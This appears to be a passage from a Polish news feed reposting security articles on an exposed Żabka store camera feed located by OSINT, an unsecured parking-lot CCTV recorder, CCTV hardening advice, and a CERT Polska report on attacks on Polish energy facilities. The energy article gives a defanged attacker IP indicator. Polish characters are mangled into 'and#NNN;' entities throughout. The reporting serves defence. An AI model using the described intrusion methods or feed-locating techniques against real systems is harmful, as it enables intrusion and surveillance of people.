Rozszerzyliand#347;my wiand#281;c obszar poszukiwaand#324; na tereny poand#322;oand#380;one na pand#243;and#322;nocny zachand#243;d od Wrocand#322;awia. To nadaland#160;bardzo duand#380;o and#379;abekand#160;wiand#281;c musieliand#347;my zagand#322;and#281;biand#263; siand#281; w szczegand#243;and#322;y.and#160;W kadrze kamery przy wejand#347;ciu w tle widaand#263; fontannand#281;, skwer i charakterystyczny budynek:

Sprawdziliand#347;my dla pewnoand#347;ci wrocand#322;awskie fontanny i and#379;abki w ich okolicach. Mieliand#347;my juand#380; pewnoand#347;and#263;, and#380;e to nie Wrocand#322;aw.
AI na ratunek!
Jedna z trenerekand#160;naszego szkolenia z OSINT-uand#160;and#8211; Julia and#8211; wpadand#322;a na pomysand#322;, aby usunand#261;and#263; cyfry ze stopklatki i w ten sposand#243;b uzyskaand#263; coand#347;, co staand#322;o siand#281; and#8220;bardziej wyszukiwalneand#8221;.

 Bingo! To jest Sycand#243;w i okolice skrzyand#380;owania ulic Jana Pawand#322;a II i Alei Wojska Polskiego.and#160;Niech and#380;yje wyszukiwanie (lekko oczyszczonym AI-em obrazem).
Fontanna jest, skwer jest, natomiast na Street View ostatnie zdjand#281;cia sand#261; z roku 2025 i nie widaand#263; na nich takiego samego bruku i ukand#322;adu miejsc parkingowych. Inny jest teand#380; kolor elewacji, czyli caand#322;e to miejsce zostaand#322;o stosunkowo niedawno przebudowane. No cand#243;and#380;. Z artykuand#322;and#243;w w prasie lokalnej wynika, and#380;e wygland#261;d tego skweruand#160;byand#322; tematem gorand#261;cych debat w Sycowie. W kaand#380;dym razie and#379;abkand#281; udaand#322;o siand#281; namierzyand#263; bez rozwiand#261;zania ostatecznego and#8212; wrzucenia zdjand#281;cia na nasze sociale i zapytanie Was o pomoc ;)

Chcesz wiedzieand#263; jak ustalaand#263; informacje na temat osand#243;b, pojazdand#243;w lub firm?and#160;Techniki i narzand#281;dzia, ktand#243;re to umoand#380;liwiajand#261; sand#261; proste i darmowe. Pokazujemy je na naszych szkoleniach z OSINT-u, ktand#243;rych najbliand#380;sze terminy znajdziesz poniand#380;ej and#8212; zapraszamy, to wiedza, ktand#243;re przyda siand#281; kaand#380;demu!
Wersja dwudniowa:

16-17 lutego 2026, ZDALNIE
26-27 lutego 2026, Warszawa
16-17 marca 2026, Krakand#243;w
27-28 kwietnia 2026, Wrocand#322;aw

and#160;
Wersja jednodniowa (skrand#243;cona, tylko najwaand#380;niejsze techniki i narzand#281;dzia):

18 lutego 2026, ZDALNIE
27 lutego 2026, Krakand#243;w
9 marca 2026, Warszawa
17 kwietnia 2026, ZDALNIE

and#160;

Lokalizacjand#281; przekazaliand#347;my firmie and#379;abka Polska w and#347;rodand#281; 28 stycznia, ale dopiero 30 stycznia pod koniec dnia dostand#281;p do monitoringu zostaand#322; poprawnie skonfigurowany (czyt. zablokowany). Firma and#379;abka Polska przekazaand#322;a nam teand#380; odpowiedzi na nasze pytania zadane tydzieand#324; temu, wraz z pierwszym zgand#322;oszeniem (tym bez lokalizacji). O ile spodziewaliand#347;my siand#281;, and#380;e odpowiedzialnoand#347;and#263; za monitoring moand#380;e spoczywaand#263; na franczyzobiorcach, to byliand#347;my ciekawi, czy sieand#263; sklepand#243;w jakkolwiek wspiera ich w dziaand#322;aniach z tym zwiand#261;zanych np. przekazujand#261;c and#8220;dobre praktykiand#8221;. Okazaand#322;o siand#281; and#380;e tak, ale and#380;e and#8220;zdarzajand#261; siand#281; incydentalne band#322;and#281;dyand#8221;:

dziand#281;kujemy za przekazanie nam zgand#322;oszenia w tej sprawie (and#8230;) po uzyskaniu informacji o nieprawidand#322;owoand#347;ciach niezwand#322;ocznie zweryfikowaliand#347;my sytuacjand#281; w tej placand#243;wce i udzieliliand#347;my franczyzobiorcy dodatkowego wsparcia w zabezpieczeniu dostand#281;pu do monitoringu (and#8230;) [M]onitoring wizyjny funkcjonujand#261;cy w sklepach and#379;abka naleand#380;y do franczyzobiorcand#243;w prowadzand#261;cych dane placand#243;wki, ktand#243;rzy sand#261; takand#380;e administratorami danych osobowych zebranych za ich poand#347;rednictwem. Oznacza to, and#380;e franczyzobiorca samodzielnie decyduje o celu i sposobie przetwarzania danych osobowych oraz zastosowanych zabezpieczeniach, ponoszand#261;c w tym obszarze odpowiedzialnoand#347;and#263; za dziaand#322;ania wand#322;asne oraz osand#243;b przez siebie zatrudnionych. Jako sieand#263; and#379;abka wspieramy naszych partnerand#243;w merytorycznie w naleand#380;ytym wypeand#322;nianiu obowiand#261;zkand#243;w wynikajand#261;cych z instalacji monitoringu (and#8230;) udostand#281;pniamy rand#243;wnieand#380; dla naszych franczyzobiorcand#243;w materiaand#322;y edukacyjne na platformie intranetowej, ktand#243;re szczegand#243;and#322;owo przypominajand#261; o zasadach rejestrowania obrazu oraz wynikajand#261;cych z tego obowiand#261;zkach prawnych. (and#8230;) [W]szystkie placand#243;wki naszej sieci objand#281;te sand#261; rygorystycznymi wytycznymi dotyczand#261;cymi autoryzacji i zabezpieczania systemand#243;w monitoringu. (and#8230;) Obecnie kaand#380;dy nowy obiekt jest obligatoryjnie obejmowany najnowszym standardem zabezpieczeand#324; IT juand#380; na etapie uruchomienia, a w pozostaand#322;ych punktach prowadzimy proces sukcesywnego wdraand#380;ania tych rozwiand#261;zaand#324; (and#8230;) Zdajemy sobie sprawand#281;, and#380;e mimo rygorystycznych procedur, przy tak duand#380;ej skali operacyjnej zawsze moand#380;e dojand#347;and#263; do incydentalnych band#322;and#281;dand#243;w ludzkich, dlatego do kaand#380;dego takiego sygnaand#322;u podchodzimy z najwyand#380;szand#261; powagand#261;, reagujand#261;c niezwand#322;ocznie, aby utrzymaand#263; najwyand#380;szy poziom bezpieczeand#324;stwa we wszystkich naszych placand#243;wkach.

Firma zaznaczyand#322;a teand#380;, and#380;e na przeand#322;omie 2024 i 2025 roku przeprowadzono kompleksowy audyt systemand#243;w w dziaand#322;ajand#261;cych wand#243;wczas and#379;abkach, a nowe obiekty sand#261; obligatoryjnie obejmowane and#8220;najnowszym standardem zabezpieczeand#324; ITand#8221;, ktand#243;ry ma byand#263; stopniowo wdroand#380;ony we wszystkich placand#243;wkach (peand#322;ne stanowisko firmy znajdziecie w aktualizacji pod tekstem).
Tymczasem gdzieand#347; w Polsceand#8230;
Kiedy namierzaliand#347;my and#379;abkand#281;, nasz inny czytelnik zgand#322;osiand#322; nam takand#261; oto rzecz:

To jest rejestrator systemu monitoringu dostand#281;pny w publicznie dostand#281;pnym miejscu. Klucze pozostawiono w szafce, co zdecydowanie nie jest dobrym pomysand#322;em. Akurat w tym przypadku wiedzieliand#347;my dokand#322;adnie jakiego parkingu dotyczy ten problem.

Zgand#322;osiliand#347;my problem firmie Interparking i musimy przyznaand#263;, and#380;e choand#263; bardzo szybko odpisaand#322; nam Data Protection and Security Officer (DPSO) z firmy Interparking (co nas zaskoczyand#322;o, bo zwykle osoby na stanowiskach IOD nie reagujand#261; szybko, a podane do nich kontaktyand#160;czand#281;sto nie sand#261; aktualne) to nie otrzymaliand#347;my niestety and#380;adnego oficjalnego komentarza od firmy.
Podczas nastand#281;pnej wizyty na parkingach tej firmy popatrzcie, czy problem zostaand#322; rozwiand#261;zany.
Monitoring and#8212; co jeszcze moand#380;e pand#243;jand#347;and#263; nie tak?
O problemach zwiand#261;zanych z monitoringiem postanowiliand#347;my porozmawiaand#263; z Melchiorem Macurand#261;, ktand#243;ry tego typu systemy wykonuje i nadzoruje.
and#8212;and#160;Najczand#281;stsze problemy jakie napotykam zwiand#261;zane sand#261; z czand#281;sto niskand#261; jakoand#347;ciand#261; samego montaand#380;u urzand#261;dzeand#324;, (and#8230;) Okablowanie budynku jest czand#281;sto niezabezpieczone i pozostaje na and#8222;wolnym powietrzuand#8221; (and#8230;) PoE wody nie wybacza i w efekcie mamy utratand#281; and#322;and#261;cznoand#347;ci z urzand#261;dzeniem czyli obniand#380;enie ochrony obiektu poprzez brak obrazu z danej kamery). O moand#380;liwoand#347;ci and#8222;dzikiego podpiand#281;cia siand#281; do kabla sieciowegoand#8221; nie wspominajand#261;c.
Poza warstwand#261; fizycznand#261;, specjaliand#347;ci montujand#261;cy i serwisujand#261;cy tego typu systemy trafiajand#261; teand#380; na ciekawsze problemy, ktand#243;re wynikajand#261; z pewnego niezrozumienia natury urzand#261;dzeand#324; sieciowych.
and#8212;Kwestia wpiand#281;cia instalacji CCTV do istniejand#261;cej sieci firmowej to czasami jazda bez trzymanki (and#8220;proszand#281; Pana my tu pod ladand#261; mamy router WiFi i w sumie to tyleand#8221;). Duand#380;ym problemem jest teand#380; brak zrozumienia jak realizowany jest podgland#261;d zdalny kamer przez aplikacjand#281;. Klienci nie rozrand#243;and#380;niajand#261; and#380;e czand#281;stoand#160;mamy moand#380;liwoand#347;and#263; korzystania z podgland#261;du z kamer poprzez chmurand#281; producentaand#160;albo poprzez zewnand#281;trzne IP (oraz wad i korzyand#347;ci obydwu rozwiand#261;zaand#324;). Ostatnim z czand#281;stych problemand#243;w jest czand#281;sty brak ustandaryzowanego obiegu haseand#322; oraz uprawnieand#324; (kto jest administratorem, czy instalator tylko instaluje i przekazuje system pod opiekand#281; komuand#347; innemu, czy jest rand#243;wnieand#380; jego administratorem / konserwatorem), kto powinien mieand#263; dostand#281;p do hasand#322;a root? Czand#281;sto jeand#347;li trzeba przejand#261;and#263; instalacjand#281;, to w grand#281; wchodzi czasem skomplikowana procedura odzyskania hasand#322;a, bo klient nie wie, and#380;e jego hasand#322;o ktand#243;rym siand#281; posand#322;uguje nie daje jednak peand#322;nej wand#322;adzy nad systemem, a osoba ktand#243;ra instalowaand#322;a system i moand#380;e takim hasand#322;em dysponowaand#263; rozpand#322;ynand#281;and#322;a siand#281; w powietrzu.
Melchior Macura mand#243;wi teand#380;, and#380;e klienci na uwagi dotyczand#261;ce zabezpieczeand#324; CCTV reagujand#261; rand#243;and#380;nie.
and#8212;and#160;O ile and#347;wiadomoand#347;and#263; co do bezpieczeand#324;stwa urzand#261;dzeand#324; takich jak PC/smartfon roand#347;nie (miand#281;dzy innymi dziand#281;ki Wam) to w przypadku systemand#243;w CCTV tej and#347;wiadomoand#347;ci raczej nie ma. Klient czand#281;sto nie wie, and#380;e taki rejestrator moand#380;e posand#322;uand#380;yand#263; jako and#8222;furtka do czyjej sieciand#8221; albo and#380;e moand#380;e byand#263; obserwowany przez kogoand#347; z drugiego koand#324;ca and#347;wiata siedzand#261;cego przed komputerem.
Administrujand#281; monitoringiem. Co robiand#263;? Jak and#380;yand#263;?
Porady jakie moand#380;na daand#263; operatorom monitoringu sand#261; w tym przypadku bardzo oczywiste, ale podsumujmy je dla porzand#261;dku:

Jeand#347;li to moand#380;liwe, nie trzymaj rejestratora monitoringu w publicznie dostand#281;pnym miejscu. Bo moand#380;e siand#281; okazaand#263;, and#380;e kiedy band#281;dziesz potrzebowaand#322; pobraand#263; nagranie jakiegoand#347; incydentu, to ani nagrania ani rejestratora nie band#281;dzie
Jeand#347;li rejestrator musi byand#263; w publicznym miejscu, dostand#281;p do niego powinien byand#263; utrudniony, a nie uand#322;atwiony.
Rozwaand#380; czy dostand#281;p do monitoringu od strony publicznego internetu jest niezband#281;dny. Jeand#347;li nie, wyand#322;and#261;cz go. Jeand#347;li jest potrzebny, skonsultuj siand#281; z profesjonalnand#261; firmand#261;, ktand#243;ra potrafi skonfigurowaand#263; dostand#281;p po VPN tak, and#380;eby pierwszy lepszy szperacz shodanowy nie namierzyand#322; Twojej instalacji. Zweryfikuj teand#380;, czy urzand#261;dzenie nie przesyand#322;a strumienia wideo do chmury producenta and#8212; to moand#380;e byand#263; nie tylko band#322;and#261;d bezpieczeand#324;stwa ale teand#380; naruszenie RODO.
Aktualizuj oprogramowanie infrastruktury monitoringu, i rejestratora i kamer, albo upewnij siand#281;, and#380;e serwis to robi.
Ustal mocne loginy i hasand#322;a, takand#380;e do sieci Wi-Fi rozgand#322;aszanej lokalnie przez router, jeand#347;li w ten sposand#243;b uzyskujesz dostand#281;p do rejestratora

Tyle zwykle wystarczy. Choand#263; trzeba przyznaand#263;, and#380;e osoby nietechniczne and#8212; jeand#347;li same biorand#261; siand#281; za instalacje monitoringi and#8220;ze szwagremand#8221; and#8212; to mogand#261; nie podoand#322;aand#263;.
Dlatego nastand#281;pnym razem wybierajand#261;c siand#281;and#160;do and#379;abki albo na parking albo w dowolne inne miejsce z monitoringiem wizyjnym, miejcie and#347;wiadomoand#347;and#263;, and#380;e jeand#347;li instalacja CCTV byand#322;a realizowana w trybie and#8220;my ze szwagremand#8221;, to nie tylko wlaand#347;ciciel and#379;abki (i bank ;P) moand#380;e wiedzieand#263;, and#380;e kupujecie maand#322;pkand#281; czy tam hot-doga o 6:30 w drodze do pracy. Albo co chowaliand#347;cie do bagaand#380;nika na parkinguand#8230;
A gdybyand#347;cie przypadkiem uzyskali dostand#281;p do jakiegoand#347; feeda z kamery i nie wiedzieli gdzie jest znajduje siand#281; monitorowane miejsce, to polecamy siand#281; Waszej uwadzeand#8230;
Aktualizacja 5.01.2026 10:29
Biuro prasowe firmy and#379;abka Polska poprosiand#322;o nas o zacytowanie caand#322;oand#347;ci swojego stanowiska. Poniand#380;ej to stanowisko w caand#322;oand#347;ci z pogrubieniem zdania, na ktand#243;rym firmie szczegand#243;lnie zaleand#380;aand#322;o.

Dziand#281;kujemy za przekazanie nam zgand#322;oszenia w tej sprawie. Bezpieczeand#324;stwo danych oraz wysokie standardy ochrony naszych sklepand#243;w sand#261; dla nas priorytetem, dlatego po uzyskaniu informacji o nieprawidand#322;owoand#347;ciach niezwand#322;ocznie zweryfikowaliand#347;my sytuacjand#281; w tej placand#243;wce i udzieliliand#347;my franczyzobiorcy dodatkowego wsparcia w zabezpieczeniu dostand#281;pu do monitoringu zgodnie z procedurami obowiand#261;zujand#261;cymi w sieci. Jednoczeand#347;nie informujemy, and#380;e monitoring wizyjny funkcjonujand#261;cy w sklepach and#379;abka naleand#380;y do franczyzobiorcand#243;w prowadzand#261;cych dane placand#243;wki, ktand#243;rzy sand#261; takand#380;e administratorami danych osobowych zebranych za ich poand#347;rednictwem. Oznacza to, and#380;e franczyzobiorca samodzielnie decyduje o celu i sposobie przetwarzania danych osobowych oraz zastosowanych zabezpieczeniach, ponoszand#261;c w tym obszarze odpowiedzialnoand#347;and#263; za dziaand#322;ania wand#322;asne oraz osand#243;b przez siebie zatrudnionych.
Jako sieand#263; and#379;abka wspieramy naszych partnerand#243;w merytorycznie w naleand#380;ytym wypeand#322;nianiu obowiand#261;zkand#243;w wynikajand#261;cych z instalacji monitoringu, majand#261;c na uwadze, and#380;e wiand#261;and#380;e siand#281; to z przetwarzaniem wizerunku oraz koniecznoand#347;ciand#261; ochrony prywatnoand#347;ci osand#243;b monitorowanych. W ramach dbaand#322;oand#347;ci o bezpieczeand#324;stwo informacji, regularnie udostand#281;pniamy rand#243;wnieand#380; dla naszych franczyzobiorcand#243;w materiaand#322;y edukacyjne na platformie intranetowej, ktand#243;re szczegand#243;and#322;owo przypominajand#261; o zasadach rejestrowania obrazu oraz wynikajand#261;cych z tego obowiand#261;zkach prawnych. Instrukcje te precyzujand#261; rand#243;wnieand#380;, and#380;e nagrania z monitoringu mogand#261; zostaand#263; udostand#281;pnione wyand#322;and#261;cznie uprawnionym organom, takim jak policja czy prokuratura, w zwiand#261;zku z toczand#261;cymi siand#281; postand#281;powaniami. Dziand#281;ki tym dziaand#322;aniom nasi partnerzy majand#261; staand#322;y dostand#281;p do wiedzy niezband#281;dnej do prawidand#322;owego i zgodnego z prawem zarzand#261;dzania systemami dozoru.
Dodatkowo wszystkie placand#243;wki naszej sieci objand#281;te sand#261; rygorystycznymi wytycznymi dotyczand#261;cymi autoryzacji i zabezpieczania systemand#243;w monitoringu.and#160;Na przeand#322;omie 2024 i 2025 roku przeprowadziliand#347;my kompleksowy audyt systemand#243;w w dziaand#322;ajand#261;cych wand#243;wczas and#379;abkach, wdraand#380;ajand#261;c and#347;ciand#347;le okreand#347;lone rekomendacje odnoand#347;nie autoryzacji. Obecnie kaand#380;dy nowy obiekt jest obligatoryjnie obejmowany najnowszym standardem zabezpieczeand#324; IT juand#380; na etapie uruchomienia, a w pozostaand#322;ych punktach prowadzimy proces sukcesywnego wdraand#380;ania tych rozwiand#261;zaand#324;, zapewniajand#261;c spand#243;jny i w peand#322;ni autoryzowany dostand#281;p do systemand#243;w monitoringu w caand#322;ej sieci.and#160;Zdajemy sobie sprawand#281;, and#380;e mimo rygorystycznych procedur, przy tak duand#380;ej skali operacyjnej zawsze moand#380;e dojand#347;and#263; do incydentalnych band#322;and#281;dand#243;w ludzkich, dlatego do kaand#380;dego takiego sygnaand#322;u podchodzimy z najwyand#380;szand#261; powagand#261;, reagujand#261;c niezwand#322;ocznie, aby utrzymaand#263; najwyand#380;szy poziom bezpieczeand#324;stwa we wszystkich naszych placand#243;wkach.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 4 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Jak Rosjanie zhackowali polski sektor energetyczny miesiąc temu? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1607</link>
			<description><![CDATA[ W koand#324;cand#243;wce 2025 doszand#322;o do bezprecedensowego i skoordynowanego ataku na kilkadziesiand#261;t obiektand#243;w w strukturach polskiego sektora energetycznego. Atakujand#261;cym udaand#322;o siand#281; wand#322;amaand#263; do co najmniejand#160;30 obiektand#243;wand#160;typu OZE (farmy wiatrowe i fotowoltaiczne) ale takand#380;eand#160;elektrociepand#322;owni obsand#322;ugujand#261;cej 500 tysiand#281;cy Polakand#243;wand#160;i do jednej z firm produkcyjnych. Wszystkie z tych obiektand#243;w prand#243;bowano unieruchomiand#263; iand#160;w wielu przypadkach atakujand#261;cy osiand#261;gnand#281;li swand#243;j cel. Kto stoi za tym atakiem (i dlaczego tym razem to naprawdand#281; sand#261; Rosjanie)? Jak dziaand#322;ali wand#322;amywacze? Dlaczego nie doszand#322;o do tragedii? Tego dowiecie siand#281; z niniejszego artykuand#322;u.
Dlaczego piszecie o tym dopiero teraz?
O atakach na polskand#261; infrastrukturand#281; krytycznand#261;and#160;wiadomo od miesiand#261;ca. Na przeand#322;omie roku informowali o nich politycy. Podsyand#322;aliand#347;cie nam ich wypowiedzi i oczekiwaliand#347;cie komentarza. Nie komentowaliand#347;my tych wypowiedzi and#347;wiadomie and#8212; oand#347;wiadczenia politykand#243;w na temat (cyber)atakand#243;wand#160;prawie zawsze nie sand#261; rzetelne, sand#322;uand#380;and#261; celom politycznym i zazwyczaj wcale nie rozjaand#347;niajand#261; sytuacji, a jedynie wprowadzajand#261; wiand#281;cej zamieszania. Dlatego czekaliand#347;my na techniczne raporty i oand#347;wiadczenia zaatakowanych podmiotand#243;w lub odpowiednich CSIRT-and#243;w. W miand#281;dzyczasie pojawiand#322;y siand#281;and#160;raporty dotyczand#261;ce tych incydentand#243;w od firm ESET i Dragos, ale z caand#322;ym szacunkiem do koleand#380;anek i kolegand#243;w z obu tych podmiotand#243;w, widaand#263; byand#322;o, and#380;e te raporty odbiegajand#261; od standardand#243;w jakoand#347;ciowych obu firm i sand#261; bardziej PR-owe, zamiast merytorycznie prezentowaand#263; caand#322;oand#347;and#263; incydentu (jak siand#281;and#160;zresztand#261; zaraz okaand#380;e, niektand#243;re z wyciand#261;ganych w tych raportach wnioskand#243;w okazaand#322;y siand#281; band#322;and#281;dne and#8212; jak widaand#263; nie zawsze sama telemetria vendora wystarczy, aby zrozumiaand#322; on caand#322;oand#347;and#263; ataku).
Dziand#347; sytuacjand#281;and#160;uratowaand#322;and#160;raport CERT Polska, ktand#243;ry caand#322;oand#347;ciowo i bardzo rzetelnie opisaand#322; jak wygland#261;daand#322;y ataki na polski sektor energetyczny na przeand#322;omie roku. Byand#322;oby cudownie, gdyby kaand#380;dy podmiot opisujand#261;cy jakiand#347; incydent robiand#322; to tak, jak CERT Polska.
Najwaand#380;niejsze wnioski z tego ataku
Oto najwaand#380;niejsze fakty, ciekawostki i wnioski:

Wspand#243;lnym punktem wszystkich atakand#243;w byand#322;y urzand#261;dzenia Fortigate, w ktand#243;rych w minionych miesiand#261;cach co chwiland#281; ujawniano krytyczne band#322;and#281;dy bezpieczeand#324;stwa. Jeand#347;li dostand#281;pu do Waszej infrastruktury broni urzand#261;dzenie Fortigate (zwand#322;aszcza z aktywnym SSL-VPN), lepiej zaand#322;and#243;and#380;cie najczarniejszy scenariusz: ktoand#347; (niekoniecznie Rosjanie) juand#380; dawno go Wam zhackowaand#322; i buszuje sobie teraz po Waszej sieci.and#160;Zalecamy jak najszybsze sprawdzenie infrastruktury pod obecnoand#347;ci atakujand#261;cychand#160;(jeand#347;li potrzebujecie w tym pomocy,and#160;zapraszamy do kontaktu).
O ile obecnoand#347;and#263; na brzegu sieci Fortigateand#8217;a byand#322;a dla atakujand#261;cych and#8220;rozand#322;oand#380;eniem nand#243;gand#8221;, to w infrastrukturand#281; danego obiektu wchodzili jak ciepand#322;y nand#243;and#380; w maseand#322;ko dlatego, and#380;e wszand#281;dzie and#322;amano podstawowe zasady bezpieczeand#324;stwa:

korzystano z domyand#347;lnych kont i haseand#322;and#160;producenta,
na kontach nie byand#322;o aktywne 2FA (co ograniczyand#322;oby atak)
firma odpowiedzialna za wdroand#380;enie/konfiguracjand#281; urzand#261;dzeand#324; w wielu obiektach w kaand#380;dym z tych obiektand#243;w wykorzystywaand#322;a te same konta serwisowe z tymi samymi credentialami,
urzand#261;dzenia nie miaand#322;y zaktualizowanego firmware (posiadaand#322;y znane podatnoand#347;ci)
urzand#261;dzenia nie miaand#322;y aktywnych funkcji bezpieczeand#324;stwa, ktand#243;re uniemoand#380;liwiand#322;yby lub utrudniand#322;yby atak (np. secure update).


Zhackowano and#126;30 obiektand#243;w naleand#380;and#261;cych do rand#243;and#380;nych wand#322;aand#347;cicieli. To niewielki procent tego typu infrastruktury w Polsce. Iloand#347;ciowo, ten atak nie jest zatem and#8220;powaand#380;nyand#8221; (nie and#8220;zachwiaand#322;and#8221; sieciand#261; energetycznand#261; and#8212; nie miaand#322; wpand#322;ywu na operatorand#243;w sieci dystrybucyjnej (OSD)), ale to and#380;e byand#322; skoordynowany i to w jaki sposand#243;b zostaand#322;and#160;przeprowadzony jest juand#380;and#160;powaand#380;nym sygnaand#322;em i eskalacjand#261; w dotychczasowych atakach. Nie sand#261; to jednak dziaand#322;ania najpowaand#380;niejsze and#8212; atakujand#261;cy mogli zadziaand#322;aand#263; boleand#347;niej, ale tego nie zrobili.
Sytuacjand#281;and#160;bardzo uratowaand#322;o stosowanie EDR-a, ktand#243;ry wykryand#322; atak, gdy antywirus nie zareagowaand#322;.
Atakujand#261;cy, choand#263; ich celem byand#322;o unieruchomienie instalacji energetycznych, kradli teand#380; dane. Pozyskiwane login i hasand#322;a sprawdzali pod kand#261;tem dostand#281;pand#243;w do zasoband#243;w chmurowych, szukajand#261;c (i wykradajand#261;c) z nich wszytko co byand#322;o zwiand#261;zane z sieciami SCADA i co mogand#322;oby uand#322;atwiand#263; kolejne ataki.
Atakujand#261;cy sand#261; na czasie! Do jednego z atakand#243;w wykorzystano wipera, ktand#243;rego kod powstaand#322;and#160;przy uand#380;yciu LLM-a :-)

and#160;
Tak, to Rosjanie
W raporcie CERT znalazand#322;a siand#281; sekcja poand#347;wiand#281;cona atrybucji. Wynika z niej, and#380;e and#347;lady zostawione przez atakujand#261;cych i wykorzystywana przez nich infrastruktura pokrywa siand#281;and#160;z pokrywa siand#281; z infrastrukturand#261; wykorzystywanand#261; przez klaster aktywnoand#347;ci o nazwie and#8220;Static Tundraand#8221; / and#8220;Berserk Bearand#8221; / and#8220;Ghost Blizzardand#8221; i jest zbieand#380;na z historycznymi dziaand#322;aniami grupy odpowiedzialnej za ataki m.in. BlackEnergy oraz PrestigeRansomware. Nie wiemy dlaczego (choand#263; siand#281;and#160;domyand#347;lamy) w raporcie nie napisano tego wprost, ale ta grupa zostaand#322;a juand#380; dawnoand#160;rozpoznanaand#160;iand#160;powiand#261;zanaand#160;z dziaand#322;alnoand#347;ciand#261;and#160;rosyjskiego FSB.
Czyli to Rosjanie, ale nie ci z GRU, ktand#243;rych sugerowaand#322; raport ESET-u, a inni and#8212; z FSB. CERT Polska wprost pisze, and#380;e na bazie zgromadzonych dowodand#243;w, nie moand#380;na jednoznacznie okreand#347;liand#263;, and#380;e grupa stojand#261;ca za and#8220;Sandwormand#8221; podniosand#322;and#261; na nas rand#281;kand#281; w tym ataku. ataku.and#8221;
Na marginesie, marzy nam siand#281;, aby w tego typu publikacjach dochodziand#322;o do miand#281;dzysektorowej wspand#243;and#322;pracy. Trochand#281; to wygland#261;da na zmarnowanand#261; szansand#281; SKW (rand#243;wnieand#380;and#160;znanego z bardzo dobrych raportand#243;w), ktand#243;re mogand#322;oby goand#347;cinnie doand#322;and#261;czyand#263; do publikacji i postawiand#263; kropkand#281; nad i, potwierdzajand#261;c wnioski co do atrybucji i wprost nazywajand#261;c przeciwnika and#8212; co byand#322;o juand#380;and#160;robione w przeszand#322;oand#347;ci przez tand#281; sand#322;uand#380;band#281;.
To trzeba podkreand#347;liand#263;
Nie ma co ukrywaand#263;, band#322;and#281;dy popeand#322;nione przez obiekty OZE sand#261; z gatunku tragicznych. Ale trzeba podkreand#347;liand#263;, and#380;e zaatakowane obiekty sand#261;and#160;and#8220;maand#322;eand#8221;. Za maand#322;e, aby byand#322;y systemowo objand#281;te odpowiednimi wymogami i regulacjami, ktand#243;re juand#380; dla sektora energetycznego istniejand#261; i and#8220;rozwiand#261;zujand#261;and#8221; problem tak raand#380;and#261;cych band#322;and#281;dand#243;w konfiguracyjnych jakie prezentowaand#322;y zhackowane obiekty. Dobrze by byand#322;o, gdyby jednak mniejsi instalatorzy tego typu infrastruktury samodzielnie i juand#380; teraz wziand#281;li sobie je do serca.
W raporcie CERT Polska stoi and#8220;co najmniej 30 obiektand#243;wand#8221;. Dokand#322;adna liczba nie jest znana, bo nie wszyscy majand#261; nawyk zgand#322;aszania incydentand#243;w, zwand#322;aszcza mniejsze podmioty. Rekomendujemy aby zaczand#281;and#322;y to robiand#263;, bo wszystkim wyjdzie to na dobre. Warto teand#380;and#160;aby tego typu podmioty zarejestrowaand#322;y siand#281; naand#160;moje.cert.pl, dziand#281;ki czemu uzyskajand#261; dostand#281;p do niepokojand#261;cych sygnaand#322;and#243;w dotyczand#261;cych ich infrastruktury, ktand#243;re mogand#261; pochodziand#263; z wielu zewnand#281;trznych and#378;rand#243;deand#322;.
Sprawdand#378; swojand#261; sieand#263; zanim band#281;dzie za pand#243;and#378;no
Moand#380;na powiedzieand#263;, and#380;e dziand#281;ki takim raand#380;and#261;cym band#322;and#281;dom i tak niewielkiej liczbie ofiar atak nie byand#322; spektakularny i byand#322; raczej and#322;atwy do przeprowadzenia oraz and#8220;and#380;adna to sztukaand#8221;. I to jest po czand#281;and#347;ci prawda, ale sposand#243;b wykonania ataku (szybkoand#347;and#263; i rozpoznanie) oraz skoordynowane dziaand#322;ania pokazujand#261; kunszt przeciwnika, ktand#243;ry naleand#380;y obiektywnie doceniand#263;.

Atakujand#261;cy podmieniali firmware na and#8220;popsutyand#8221; aby unieruchomiand#263; niektand#243;re z urzand#261;dzeand#324;. Mieli je wczeand#347;niej doskonale rozpoznane.

Sprawdand#378;cie, czy coand#347; z Waszej infrastruktury nie prand#243;bowaand#322;o siand#281; and#322;and#261;czyand#263; doand#160;31.172.71[.]5and#160;i rzuand#263;cie okiem na pozostaand#322;e IoC z raportu CERT Polska.
Podsumowujand#261;c, w koand#324;cand#243;wce rokuand#160;Polska dostaand#322;a bolesnego klapsa. Nie byand#322;o to ostre lanie, ale niech ten klaps band#281;dzie ostrzeand#380;eniem dla wszystkich, ktand#243;rzy w swoich sieciach majand#261; baand#322;agan (domyand#347;lne hasand#322;a, niezaktualizowany firmware, wyand#322;and#261;czone funkcje bezpieczeand#324;stwa) bo liczand#261; na to, and#380;e nic siand#281; nie stanie, poniewaand#380; obroni ich urzand#261;dzenie brzegowe znanego producenta.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 30 stycznia 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Fala włamań na konta nauczycieli w e-dziennikach różnych szkół na terenie całej Polski ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1606</link>
			<description><![CDATA[ W ostatnich dniach rodzice posiadajand#261;cy konta w dziennikach Librus i Vulcan, otrzymali od nauczycieli rand#243;and#380;nego rodzaju szokujand#261;ce, kand#322;amliwe, a niekiedy nawet sproand#347;ne wiadomoand#347;ci. Prand#243;bowano ich teand#380; okraand#347;and#263;. Oczywiand#347;cie, za tymi dziaand#322;aniami nie stali nauczyciele, a ktoand#347;, kto przejand#261;and#322; ich kontaand#8230;
My ze swoich and#378;rand#243;deand#322; wiemy o dwand#243;ch takich incydentach. Jeden dotyczyand#322; systemu Vulcan w szkoleand#160;na Dolnym and#346;land#261;sku, gdzie z konta nauczycielki, ktand#243;ra jest na urlopie macierzyand#324;skim, ktoand#347; nagle wysand#322;aand#322; proand#347;band#281; o wpand#322;atand#281; and#8220;35 zand#322; na podany numer telefonuand#8221;, bo organizowana jest wycieczka do kina.

Drugi z przypadkand#243;w nie nadaje siand#281;and#160;do cytowania, ale dotyczyand#322; konkurencyjnej platformy and#8212; dziennika Librus. Zachowanie tego atakujand#261;cego pokazaand#322;o maand#322;e wyrafinowanie i raczej brak dobrych pomysand#322;and#243;w na spieniand#281;and#380;enie dostand#281;pu do konta nauczyciela.
